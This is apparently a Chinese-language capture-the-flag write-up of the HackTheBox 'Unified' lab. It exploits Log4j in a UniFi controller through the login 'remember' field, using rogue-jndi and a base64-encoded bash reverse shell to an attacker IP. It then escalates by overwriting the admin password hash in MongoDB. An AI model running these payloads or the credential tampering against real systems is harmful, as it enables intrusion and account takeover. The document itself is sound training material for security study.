HackTheBox - Unified
字数 1015 2025-08-12 11:33:47

HackTheBox - Unified 渗透测试教学文档

1. 目标信息收集

1.1 端口扫描

使用Nmap进行初始扫描:

nmap -sC -sV -T3 -v 10.129.170.120

扫描结果:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
  • 6789/tcp: ibm-db2-admin?
  • 8080/tcp: http-proxy (重定向到8443端口)
  • 8443/tcp: ssl/nagios-nsca Nagios NSCA

1.2 Web应用识别

访问8080端口会自动重定向到8443端口,显示UniFi网络管理系统的登录页面,版本为6.4.54。

2. 漏洞发现与验证

2.1 识别潜在漏洞

UniFi 6.4.54版本存在CVE-2021-44228 (Log4j)漏洞。

2.2 漏洞验证步骤

  1. 使用Burp Suite或开发者工具捕获登录请求
  2. 监听攻击机389端口:
    sudo tcpdump -i tun0 port 389
    
  3. 修改登录请求中的"remember"字段:
    "${jndi:ldap://{tun0_ip}/whatever}"
    
  4. 观察tcpdump是否收到连接请求,确认漏洞存在

3. 漏洞利用环境搭建

3.1 安装必要工具

  1. 安装JDK和Maven:

    sudo apt-get install maven
    
  2. 下载并编译rogue-jndi工具:

    git clone https://github.com/veracode-research/rogue-jndi
    cd rogue-jndi
    mvn package
    

    编译成功后会在target目录生成RogueJndi-1.1.jar

4. 漏洞利用

4.1 准备反弹shell

  1. 生成base64编码的反弹shell命令:

    echo "/bin/bash -c '/bin/bash -i >&/dev/tcp/10.10.14.179/4444 0>&1'" | base64
    
  2. 启动rogue-jndi服务器:

    java -jar target/RogueJndi-1.1.jar \
    --command "bash -c {echo,L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xNzkvNDQ0NCAwPiYxJwo=}|{base64,-d}|{bash,-i}" \
    --hostname "10.10.14.179"
    
  3. 设置监听端口:

    nc -lvnp 4444
    
  4. 修改登录请求中的payload并发送,获取反向shell

5. 权限提升

5.1 MongoDB数据库利用

  1. 发现运行中的MongoDB服务(端口27117):

    ps aux
    
  2. 查询MongoDB中的管理员凭证:

    mongo --port 27117 ace --eval 'db.admin.find()'
    
  3. 生成新密码的SHA512哈希:

    mkpasswd -m sha-512 password
    

    输出示例:

    $6$hwb9W.VC28pwXtPT$N8DRe.81H.wB3NN5Ac/5zhGdQkKAibE/i/7I6kvKaVbWGYApa9EghEhtyqtz39qS6x6oDNRNo5z9Nk9m2VMio0
    
  4. 更新管理员密码:

    mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$hwb9W.VC28pwXtPT$N8DRe.81H.wB3NN5Ac/5zhGdQkKAibE/i/7I6kvKaVbWGYApa9EghEhtyqtz39qS6x6oDNRNo5z9Nk9m2VMio0"}})'
    

5.2 获取SSH访问

  1. 使用新密码(password)登录UniFi管理界面
  2. 在后台设置中找到SSH凭证
  3. 通过SSH连接获取root权限

6. 关键点总结

  1. Log4j漏洞利用:通过修改登录请求中的"remember"字段触发JNDI注入
  2. rogue-jndi工具:用于搭建恶意LDAP服务器执行任意命令
  3. MongoDB提权:通过修改数据库中的管理员凭证哈希来获取更高权限
  4. 密码哈希替换:使用已知弱密码的哈希替换原密码哈希绕过认证

7. 防御建议

  1. 及时更新UniFi控制器到最新版本
  2. 禁用不必要的JNDI查找功能
  3. 对MongoDB实施严格的访问控制
  4. 使用强密码并定期更换
  5. 监控异常登录行为
HackTheBox - Unified 渗透测试教学文档 1. 目标信息收集 1.1 端口扫描 使用Nmap进行初始扫描: 扫描结果: 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 6789/tcp: ibm-db2-admin? 8080/tcp: http-proxy (重定向到8443端口) 8443/tcp: ssl/nagios-nsca Nagios NSCA 1.2 Web应用识别 访问8080端口会自动重定向到8443端口,显示UniFi网络管理系统的登录页面,版本为6.4.54。 2. 漏洞发现与验证 2.1 识别潜在漏洞 UniFi 6.4.54版本存在CVE-2021-44228 (Log4j)漏洞。 2.2 漏洞验证步骤 使用Burp Suite或开发者工具捕获登录请求 监听攻击机389端口: 修改登录请求中的"remember"字段: 观察tcpdump是否收到连接请求,确认漏洞存在 3. 漏洞利用环境搭建 3.1 安装必要工具 安装JDK和Maven: 下载并编译rogue-jndi工具: 编译成功后会在target目录生成RogueJndi-1.1.jar 4. 漏洞利用 4.1 准备反弹shell 生成base64编码的反弹shell命令: 启动rogue-jndi服务器: 设置监听端口: 修改登录请求中的payload并发送,获取反向shell 5. 权限提升 5.1 MongoDB数据库利用 发现运行中的MongoDB服务(端口27117): 查询MongoDB中的管理员凭证: 生成新密码的SHA512哈希: 输出示例: 更新管理员密码: 5.2 获取SSH访问 使用新密码(password)登录UniFi管理界面 在后台设置中找到SSH凭证 通过SSH连接获取root权限 6. 关键点总结 Log4j漏洞利用 :通过修改登录请求中的"remember"字段触发JNDI注入 rogue-jndi工具 :用于搭建恶意LDAP服务器执行任意命令 MongoDB提权 :通过修改数据库中的管理员凭证哈希来获取更高权限 密码哈希替换 :使用已知弱密码的哈希替换原密码哈希绕过认证 7. 防御建议 及时更新UniFi控制器到最新版本 禁用不必要的JNDI查找功能 对MongoDB实施严格的访问控制 使用强密码并定期更换 监控异常登录行为